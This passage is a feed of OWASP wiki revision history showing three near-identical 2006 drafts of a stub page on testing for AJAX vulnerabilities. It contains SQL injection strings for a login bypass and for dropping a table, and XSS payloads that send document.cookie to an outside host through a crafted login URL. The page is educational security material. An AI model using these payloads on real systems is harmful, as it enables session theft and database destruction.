'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11774</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11774"/>
				<updated>2006-11-05T19:05:58Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&lt;br /&gt;
&lt;br /&gt;
== Recent Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;The Yamanner worm targeted Yahoo Mail, harvesting e-mail addresses and forwarding itself to all contacts in a user's Yahoo address book.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11773</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11773"/>
				<updated>2006-11-05T19:03:13Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Examples */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;p&amp;gt;There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Recent Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;The Yamanner worm targeted Yahoo Mail, harvesting e-mail addresses and forwarding itself to all contacts in a user's Yahoo address book.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11772</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11772"/>
				<updated>2006-11-05T18:54:49Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;p&amp;gt;There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Examples  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
